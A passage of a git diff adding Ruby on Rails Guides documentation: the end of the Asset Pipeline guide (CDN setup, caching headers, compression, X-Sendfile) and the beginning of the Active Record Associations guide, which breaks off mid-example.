+recommended.
+
+If you are deploying a production application to a system without any
+pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
+
+```ruby
+group :production do
+  gem 'mini_racer'
+end
+```
+
+### CDNs
+
+CDN stands for [Content Delivery
+Network](http://en.wikipedia.org/wiki/Content_delivery_network), they are
+primarily designed to cache assets all over the world so that when a browser
+requests the asset, a cached copy will be geographically close to that browser.
+If you are serving assets directly from your Rails server in production, the
+best practice is to use a CDN in front of your application.
+
+A common pattern for using a CDN is to set your production application as the
+"origin" server. This means when a browser requests an asset from the CDN and
+there is a cache miss, it will grab the file from your server on the fly and
+then cache it. For example if you are running a Rails application on
+`example.com` and have a CDN configured at `mycdnsubdomain.fictional-cdn.com`,
+then when a request is made to `mycdnsubdomain.fictional-
+cdn.com/assets/smile.png`, the CDN will query your server once at
+`example.com/assets/smile.png` and cache the request. The next request to the
+CDN that comes in to the same URL will hit the cached copy. When the CDN can
+serve an asset directly the request never touches your Rails server. Since the
+assets from a CDN are geographically closer to the browser, the request is
+faster, and since your server doesn't need to spend time serving assets, it can
+focus on serving application code as fast as possible.
+
+#### Set up a CDN to Serve Static Assets
+
+To set up your CDN you have to have your application running in production on
+the internet at a publicly available URL, for example `example.com`. Next
+you'll need to sign up for a CDN service from a cloud hosting provider. When you
+do this you need to configure the "origin" of the CDN to point back at your
+website `example.com`, check your provider for documentation on configuring the
+origin server.
+
+The CDN you provisioned should give you a custom subdomain for your application
+such as `mycdnsubdomain.fictional-cdn.com` (note fictional-cdn.com is not a
+valid CDN provider at the time of this writing). Now that you have configured
+your CDN server, you need to tell browsers to use your CDN to grab assets
+instead of your Rails server directly. You can do this by configuring Rails to
+set your CDN as the asset host instead of using a relative path. To set your
+asset host in Rails, you need to set `config.action_controller.asset_host` in
+`config/environments/production.rb`:
+
+```ruby
+config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com'
+```
+
+NOTE: You only need to provide the "host", this is the subdomain and root
+domain, you do not need to specify a protocol or "scheme" such as `http://` or
+`https://`. When a web page is requested, the protocol in the link to your asset
+that is generated will match how the webpage is accessed by default.
+
+You can also set this value through an [environment
+variable](http://en.wikipedia.org/wiki/Environment_variable) to make running a
+staging copy of your site easier:
+
+```
+config.action_controller.asset_host = ENV['CDN_HOST']
+```
+
+
+
+Note: You would need to set `CDN_HOST` on your server to `mycdnsubdomain
+.fictional-cdn.com` for this to work.
+
+Once you have configured your server and your CDN when you serve a webpage that
+has an asset:
+
+```erb
+<%= asset_path('smile.png') %>
+```
+
+Instead of returning a path such as `/assets/smile.png` (digests are left out
+for readability). The URL generated will have the full path to your CDN.
+
+```
+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+```
+
+If the CDN has a copy of `smile.png` it will serve it to the browser and your
+server doesn't even know it was requested. If the CDN does not have a copy it
+will try to find it at the "origin" `example.com/assets/smile.png` and then store
+it for future use.
+
+If you want to serve only some assets from your CDN, you can use custom `:host`
+option your asset helper, which overwrites value set in
+`config.action_controller.asset_host`.
+
+```erb
+<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>
+```
+
+#### Customize CDN Caching Behavior
+
+A CDN works by caching content. If the CDN has stale or bad content, then it is
+hurting rather than helping your application. The purpose of this section is to
+describe general caching behavior of most CDNs, your specific provider may
+behave slightly differently.
+
+##### CDN Request Caching
+
+While a CDN is described as being good for caching assets, in reality caches the
+entire request. This includes the body of the asset as well as any headers. The
+most important one being `Cache-Control` which tells the CDN (and web browsers)
+how to cache contents. This means that if someone requests an asset that does
+not exist `/assets/i-dont-exist.png` and your Rails application returns a 404,
+then your CDN will likely cache the 404 page if a valid `Cache-Control` header
+is present.
+
+##### CDN Header Debugging
+
+One way to check the headers are cached properly in your CDN is by using [curl](
+http://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You
+can request the headers from both your server and your CDN to verify they are
+the same:
+
+```
+$ curl -I http://www.example/assets/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
+HTTP/1.1 200 OK
+Server: Cowboy
+Date: Sun, 24 Aug 2014 20:27:50 GMT
+Connection: keep-alive
+Last-Modified: Thu, 08 May 2014 01:24:14 GMT
+Content-Type: text/css
+Cache-Control: public, max-age=2592000
+Content-Length: 126560
+Via: 1.1 vegur
+```
+
+Versus the CDN copy.
+
+```
+$ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
+HTTP/1.1 200 OK Server: Cowboy Last-
+Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
+Cache-Control:
+public, max-age=2592000
+Via: 1.1 vegur
+Content-Length: 126560
+Accept-Ranges:
+bytes
+Date: Sun, 24 Aug 2014 20:28:45 GMT
+Via: 1.1 varnish
+Age: 885814
+Connection: keep-alive
+X-Served-By: cache-dfw1828-DFW
+X-Cache: HIT
+X-Cache-Hits:
+68
+X-Timer: S1408912125.211638212,VS0,VE0
+```
+
+Check your CDN documentation for any additional information they may provide
+such as `X-Cache` or for any additional headers they may add.
+
+##### CDNs and the Cache-Control Header
+
+The [cache control
+header](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) is a W3C
+specification that describes how a request can be cached. When no CDN is used, a
+browser will use this information to cache contents. This is very helpful for
+assets that are not modified so that a browser does not need to re-download a
+website's CSS or JavaScript on every request. Generally we want our Rails server
+to tell our CDN (and browser) that the asset is "public", that means any cache
+can store the request. Also we commonly want to set `max-age` which is how long
+the cache will store the object before invalidating the cache. The `max-age`
+value is set to seconds with a maximum possible value of `31536000` which is one
+year. You can do this in your Rails application by setting
+
+```
+config.public_file_server.headers = {
+  'Cache-Control' => 'public, max-age=31536000'
+}
+```
+
+Now when your application serves an asset in production, the CDN will store the
+asset for up to a year. Since most CDNs also cache headers of the request, this
+`Cache-Control` will be passed along to all future browsers seeking this asset,
+the browser then knows that it can store this asset for a very long time before
+needing to re-request it.
+
+##### CDNs and URL based Cache Invalidation
+
+Most CDNs will cache contents of an asset based on the complete URL. This means
+that a request to
+
+```
+http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png
+```
+
+Will be a completely different cache from
+
+```
+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+```
+
+If you want to set far future `max-age` in your `Cache-Control` (and you do),
+then make sure when you change your assets that your cache is invalidated. For
+example when changing the smiley face in an image from yellow to blue, you want
+all visitors of your site to get the new blue face. When using a CDN with the
+Rails asset pipeline `config.assets.digest` is set to true by default so that
+each asset will have a different file name when it is changed. This way you
+don't have to ever manually invalidate any items in your cache. By using a
+different unique asset name instead, your users get the latest asset.
+
+Customizing the Pipeline
+------------------------
+
+### CSS Compression
+
+One of the options for compressing CSS is YUI. The [YUI CSS
+compressor](http://yui.github.io/yuicompressor/css.html) provides
+minification.
+
+The following line enables YUI compression, and requires the `yui-compressor`
+gem.
+
+```ruby
+config.assets.css_compressor = :yui
+```
+The other option for compressing CSS if you have the sass-rails gem installed is
+
+```ruby
+config.assets.css_compressor = :sass
+```
+
+### JavaScript Compression
+
+Possible options for JavaScript compression are `:closure`, `:uglifier` and
+`:yui`. These require the use of the `closure-compiler`, `uglifier` or
+`yui-compressor` gems, respectively.
+
+The default Gemfile includes [uglifier](https://github.com/lautis/uglifier).
+This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for
+NodeJS) in Ruby. It compresses your code by removing white space and comments,
+shortening local variable names, and performing other micro-optimizations such
+as changing `if` and `else` statements to ternary operators where possible.
+
+The following line invokes `uglifier` for JavaScript compression.
+
+```ruby
+config.assets.js_compressor = :uglifier
+```
+
+NOTE: You will need an [ExecJS](https://github.com/rails/execjs#readme)
+supported runtime in order to use `uglifier`. If you are using macOS or
+Windows you have a JavaScript runtime installed in your operating system.
+
+
+
+### Serving GZipped version of assets
+
+By default, gzipped version of compiled assets will be generated, along with
+the non-gzipped version of assets. Gzipped assets help reduce the transmission
+of data over the wire. You can configure this by setting the `gzip` flag.
+
+```ruby
+config.assets.gzip = false # disable gzipped assets generation
+```
+
+### Using Your Own Compressor
+
+The compressor config settings for CSS and JavaScript also take any object.
+This object must have a `compress` method that takes a string as the sole
+argument and it must return a string.
+
+```ruby
+class Transformer
+  def compress(string)
+    do_something_returning_a_string(string)
+  end
+end
+```
+
+To enable this, pass a new object to the config option in `application.rb`:
+
+```ruby
+config.assets.css_compressor = Transformer.new
+```
+
+
+### Changing the _assets_ Path
+
+The public path that Sprockets uses by default is `/assets`.
+
+This can be changed to something else:
+
+```ruby
+config.assets.prefix = "/some_other_path"
+```
+
+This is a handy option if you are updating an older project that didn't use the
+asset pipeline and already uses this path or you wish to use this path for
+a new resource.
+
+### X-Sendfile Headers
+
+The X-Sendfile header is a directive to the web server to ignore the response
+from the application, and instead serve a specified file from disk. This option
+is off by default, but can be enabled if your server supports it. When enabled,
+this passes responsibility for serving the file to the web server, which is
+faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file)
+on how to use this feature.
+
+Apache and NGINX support this option, which can be enabled in
+`config/environments/production.rb`:
+
+```ruby
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
+```
+
+WARNING: If you are upgrading an existing application and intend to use this
+option, take care to paste this configuration option only into `production.rb`
+and any other environments you define with production behavior (not
+`application.rb`).
+
+TIP: For further details have a look at the docs of your production web server:
+- [Apache](https://tn123.org/mod_xsendfile/)
+- [NGINX](http://wiki.nginx.org/XSendfile)
+
+Assets Cache Store
+------------------
+
+By default, Sprockets caches assets in `tmp/cache/assets` in development
+and production environments. This can be changed as follows:
+
+```ruby
+config.assets.configure do |env|
+  env.cache = ActiveSupport::Cache.lookup_store(:memory_store,
+                                                { size: 32.megabytes })
+end
+```
+
+To disable the assets cache store:
+
+```ruby
+config.assets.configure do |env|
+  env.cache = ActiveSupport::Cache.lookup_store(:null_store)
+end
+```
+
+Adding Assets to Your Gems
+--------------------------
+
+Assets can also come from external sources in the form of gems.
+
+A good example of this is the `jquery-rails` gem which comes with Rails as the
+standard JavaScript library gem. This gem contains an engine class which
+inherits from `Rails::Engine`. By doing this, Rails is informed that the
+directory for this gem may contain assets and the `app/assets`, `lib/assets` and
+`vendor/assets` directories of this engine are added to the search path of
+Sprockets.
+
+Making Your Library or Gem a Pre-Processor
+------------------------------------------
+
+Sprockets uses Processors, Transformers, Compressors, and Exporters to extend
+Sprockets functionality. Have a look at
+[Extending Sprockets](https://github.com/rails/sprockets/blob/master/guides/extending_sprockets.md)
+to learn more. Here we registered a preprocessor to add a comment to the end
+of text/css (.css) files.
+
+```ruby
+module AddComment
+  def self.call(input)
+    { data: input[:data] + "/* Hello From my sprockets extension */" }
+  end
+end
+```
+
+Now that you have a module that modifies the input data, it's time to register
+it as a preprocessor for your mime type.
+
+```ruby
+Sprockets.register_preprocessor 'text/css', AddComment
+```
+
+Upgrading from Old Versions of Rails
+------------------------------------
+
+There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is
+moving the files from `public/` to the new locations. See [Asset
+Organization](#asset-organization) above for guidance on the correct locations
+for different file types.
+
+Next will be avoiding duplicate JavaScript files. Since jQuery is the default
+JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js`
+into `app/assets` and it will be included automatically.
+
+The third is updating the various environment files with the correct default
+options.
+
+In `application.rb`:
+
+```ruby
+# Version of your assets, change this if you want to expire all your assets
+config.assets.version = '1.0'
+
+# Change the path that assets are served from config.assets.prefix = "/assets"
+```
+
+In `development.rb`:
+
+```ruby
+# Expands the lines which load the assets
+config.assets.debug = true
+```
+
+And in `production.rb`:
+
+```ruby
+# Choose the compressors to use (if any)
+config.assets.js_compressor = :uglifier
+# config.assets.css_compressor = :yui
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs.
+config.assets.digest = true
+
+# Precompile additional assets (application.js, application.css, and all
+# non-JS/CSS are already added)
+# config.assets.precompile += %w( admin.js admin.css )
+```
+
+Rails 4 and above no longer set default config values for Sprockets in `test.rb`, so
+`test.rb` now requires Sprockets configuration. The old defaults in the test
+environment are: `config.assets.compile = true`, `config.assets.compress = false`,
+`config.assets.debug = false` and `config.assets.digest = false`.
+
+The following should also be added to your `Gemfile`:
+
+```ruby
+gem 'sass-rails',   "~> 3.2.3"
+gem 'coffee-rails', "~> 3.2.1"
+gem 'uglifier'
+```
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
new file mode 100644
index 0000000000..bead931529
--- /dev/null
+++ b/guides/source/association_basics.md
@@ -0,0 +1,2444 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Record Associations
+==========================
+
+This guide covers the association features of Active Record.
+
+After reading this guide, you will know:
+
+* How to declare associations between Active Record models.
+* How to understand the various types of Active Record associations.
+* How to use the methods added to your models by creating associations.
+
+--------------------------------------------------------------------------------
+
+Why Associations?
+-----------------
+
+In Rails, an _association_ is a connection between two Active Record models. Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for authors and a model for books. Each author can have many books. Without associations, the model declarations would look like this:
+
+```ruby
+class Author < ApplicationRecord
+end
+
+class Book < ApplicationRecord
+end
+```
+
+Now, suppose we wanted to add a new book for an existing author. We'd need to do something like this:
+
+```ruby
+@book = Book.create(published_at: Time.now, author_id: @author.id)
+```
+
+Or consider deleting an author, and ensuring that all of its books get deleted as well:
+
+```ruby
+@books = Book.where(author_id: @author.id)
+@books.each do |book|
+  book.destroy
+end
+@author.destroy
+```
+
+With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up authors and books:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, dependent: :destroy
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+```
+
+With this change, creating a new book for a particular author is easier:
+
+```ruby
+@book = @author.books.create(published_at: Time.now)
+```
+
+Deleting an author and all of its books is *much* easier:
+
+```ruby
+@author.destroy
+```
+
+To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+
+The Types of Associations
+-------------------------
+
+Rails supports six types of associations:
+
+* `belongs_to`
+* `has_one`
+* `has_many`
+* `has_many :through`
+* `has_one :through`
+* `has_and_belongs_to_many`
+
+Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain [Primary Key](https://en.wikipedia.org/wiki/Unique_key)-[Foreign Key](https://en.wikipedia.org/wiki/Foreign_key) information between instances of the two models, and you also get a number of utility methods added to your model.
+
+In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+
+### The `belongs_to` Association
+
+A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes authors and books, and each book can be assigned to exactly one author, you'd declare the book model this way:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author
+end
+```
+
+![belongs_to Association Diagram](images/belongs_to.png)
+
+NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `author` association in the `Book` model, you would be told that there was an "uninitialized constant Book::Authors". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateBooks < ActiveRecord::Migration[5.0]
+  def change
+    create_table :authors do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :books do |t|
+      t.belongs_to :author, index: true
+      t.datetime :published_at
+      t.timestamps
+    end
+  end
+end
+```
+
+### The `has_one` Association
+
+A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account
+end
+```
+
+![has_one Association Diagram](images/has_one.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration[5.0]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier, index: true
+      t.string :account_number
+      t.timestamps
+    end
+  end
+end
+```
+
+Depending on the use case, you might also need to create a unique index and/or
+a foreign key constraint on the supplier column for the accounts table. In this
+case, the column definition might look like this:
+
+```ruby
+create_table :accounts do |t|
+  t.belongs_to :supplier, index: { unique: true }, foreign_key: true
+  # ...
+end
+```
+
+### The `has_many` Association
+
+A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing authors and books, the author model could be declared like this:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books
+end
+```
+
+NOTE: The name of the other model is pluralized when declaring a `has_many` association.
+
+![has_many Association Diagram](images/has_many.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAuthors < ActiveRecord::Migration[5.0]
+  def change
+    create_table :authors do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :books do |t|
+      t.belongs_to :author, index: true
+      t.datetime :published_at
+      t.timestamps
+    end
+  end
+end
+```
+
+### The `has_many :through` Association
+
+A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
+
+```ruby
+class Physician < ApplicationRecord
+  has_many :appointments
+  has_many :patients, through: :appointments
+end
+
+class Appointment < ApplicationRecord
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient < ApplicationRecord
+  has_many :appointments
+  has_many :physicians, through: :appointments
+end
+```
+
+![has_many :through Association Diagram](images/has_many_through.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAppointments < ActiveRecord::Migration[5.0]
+  def change
+    create_table :physicians do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :patients do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :appointments do |t|
+      t.belongs_to :physician, index: true
+      t.belongs_to :patient, index: true
+      t.datetime :appointment_date
+      t.timestamps
+    end
+  end
+end
+```
+
+The collection of join models can be managed via the [`has_many` association methods](#has-many-association-reference).
+For example, if you assign:
+
+```ruby
+physician.patients = patients
+```
+
+Then new join models are automatically created for the newly associated objects.
+If some that existed previously are now missing, then their join rows are automatically deleted.
+
+WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
+
+The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+
+```ruby
+class Document < ApplicationRecord
+  has_many :sections
+  has_many :paragraphs, through: :sections
+end
+
+class Section < ApplicationRecord
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph < ApplicationRecord
+  belongs_to :section
+end
+```
+
+With `through: :sections` specified, Rails will now understand:
+
+```ruby
+@document.paragraphs
+```
+
+### The `has_one :through` Association
+
+A `has_one :through` association sets up a one-to-one connection with another model. This association indicates
+that the declaring model can be matched with one instance of another model by proceeding _through_ a third model.
+For example, if each supplier has one account, and each account is associated with one account history, then the
+supplier model could look like this:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account
+  has_one :account_history, through: :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory < ApplicationRecord
+  belongs_to :account
+end
+```
+
+![has_one :through Association Diagram](images/has_one_through.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAccountHistories < ActiveRecord::Migration[5.0]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier, index: true
+      t.string :account_number
+      t.timestamps
+    end
+
+    create_table :account_histories do |t|
+      t.belongs_to :account, index: true
+      t.integer :credit_rating
+      t.timestamps
+    end
+  end
+end
+```
+
+### The `has_and_belongs_to_many` Association
+
+A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+
+```ruby
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+```
+
+![has_and_belongs_to_many Association Diagram](images/habtm.png)
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAssembliesAndParts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :assemblies do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :parts do |t|
+      t.string :part_number
+      t.timestamps
+    end
+
+    create_table :assemblies_parts, id: false do |t|
+      t.belongs_to :assembly, index: true
+      t.belongs_to :part, index: true
+    end
+  end
+end
+```
+
+### Choosing Between `belongs_to` and `has_one`
+
+If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which?
+
+The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+end
+```
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration[5.0]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.integer :supplier_id
+      t.string  :account_number
+      t.timestamps
+    end
+
+    add_index :accounts, :supplier_id
+  end
+end
+```
+
+NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead.
+
+### Choosing Between `has_many :through` and `has_and_belongs_to_many`
+
+Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly:
+
+```ruby
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+```
+
+The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model:
+
+```ruby
+class Assembly < ApplicationRecord
+  has_many :manifests
+  has_many :parts, through: :manifests
+end
+
+class Manifest < ApplicationRecord
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part < ApplicationRecord
+  has_many :manifests
+  has_many :assemblies, through: :manifests
+end
+```
+
+The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database).
+
+You should use `has_many :through` if you need validations, callbacks or extra attributes on the join model.
+
+### Polymorphic Associations
+
+A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
+
+```ruby
+class Picture < ApplicationRecord
+  belongs_to :imageable, polymorphic: true
+end
+
+class Employee < ApplicationRecord
+  has_many :pictures, as: :imageable
+end
+
+class Product < ApplicationRecord
+  has_many :pictures, as: :imageable
+end
+```
+
+You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`.
+
+Similarly, you can retrieve `@product.pictures`.
+
+If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration[5.0]
+  def change
+    create_table :pictures do |t|
+      t.string  :name
+      t.integer :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+
+    add_index :pictures, [:imageable_type, :imageable_id]
+  end
+end
+```
+
+This migration can be simplified by using the `t.references` form:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration[5.0]
+  def change
+    create_table :pictures do |t|
+      t.string :name
+      t.references :imageable, polymorphic: true, index: true
+      t.timestamps
+    end
+  end
+end
+```
+
+![Polymorphic Association Diagram](images/polymorphic.png)
+
+### Self Joins
+
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
+
+```ruby
+class Employee < ApplicationRecord
+  has_many :subordinates, class_name: "Employee",
+                          foreign_key: "manager_id"
+
+  belongs_to :manager, class_name: "Employee"
+end
+```
+
+With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.
+
+In your migrations/schema, you will add a references column to the model itself.
+
+```ruby
+class CreateEmployees < ActiveRecord::Migration[5.0]
+  def change
+    create_table :employees do |t|
+      t.references :manager, index: true
+      t.timestamps
+    end
+  end
+end
+```
+
+Tips, Tricks, and Warnings
+--------------------------
+
+Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+
+* Controlling caching
+* Avoiding name collisions
+* Updating the schema
+* Controlling association scope
+* Bi-directional associations
+
+### Controlling Caching
+
+All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+
+```ruby
+author.books                 # retrieves books from the database
+author.books.size            # uses the cached copy of books
+author.books.empty?          # uses the cached copy of books
+```
+
+But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call `reload` on the association:
+
+```ruby
+author.books                 # retrieves books from the database
+author.books.size            # uses the cached copy of books
+author.books.reload.empty?   # discards the cached copy of books
+                             # and goes back to the database
+```
+
+### Avoiding Name Collisions
+
+You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations.
+
+### Updating the Schema
+
+Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table.
+
+#### Creating Foreign Keys for `belongs_to` Associations
+
+When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author
+end
+```
+
+This declaration needs to be backed up by the proper foreign key declaration on the books table:
+
+```ruby
+class CreateBooks < ActiveRecord::Migration[5.0]
+  def change
+    create_table :books do |t|
+      t.datetime :published_at
+      t.string   :book_number
+      t.integer  :author_id
+    end
+  end
+end
+```
+
+If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key.
+
+It's a good practice to add an index on the foreign key to improve queries
+performance and a foreign key constraint to ensure referential data integrity:
+
+```ruby
+class CreateBooks < ActiveRecord::Migration[5.0]
+  def change
+    create_table :books do |t|
+      t.datetime :published_at
+      t.string   :book_number
+      t.integer  :author_id
+    end
+
+    add_index :books, :author_id
+    add_foreign_key :books, :authors
+  end
+end
+```
+
+#### Creating Join Tables for `has_and_belongs_to_many` Associations
+
+If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical book of the class names. So a join between author and book models will give the default join table name of "authors_books" because "a" outranks "b" in lexical ordering.
+
+WARNING: The precedence between model names is calculated using the `<=>` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings).
+
+Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+
+```ruby
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+```
+
+These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key:
+
+```ruby
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
+  def change
+    create_table :assemblies_parts, id: false do |t|
+      t.integer :assembly_id
+      t.integer :part_id
+    end
+
+    add_index :assemblies_parts, :assembly_id
+    add_index :assemblies_parts, :part_id
+  end
+end
+```
+
+We pass `id: false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled model IDs, or exceptions about conflicting IDs, chances are you forgot that bit.
+
+You can also use the method `create_join_table`
+
+```ruby
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
+  def change
+    create_join_table :assemblies, :parts do |t|
+      t.index :assembly_id
+      t.index :part_id
+    end
+  end
+end
+```
+
+### Controlling Association Scope
+
+By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+
+```ruby
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+       has_one :account
+    end
+
+    class Account < ApplicationRecord
+       belongs_to :supplier
+    end
+  end
+end
+```
+
+This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will _not_ work, because `Supplier` and `Account` are defined in different scopes:
+
+```ruby
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+       has_one :account
+    end
+  end
+
+  module Billing
+    class Account < ApplicationRecord
+       belongs_to :supplier
+    end
+  end
+end
+```
+
+To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
+
+```ruby
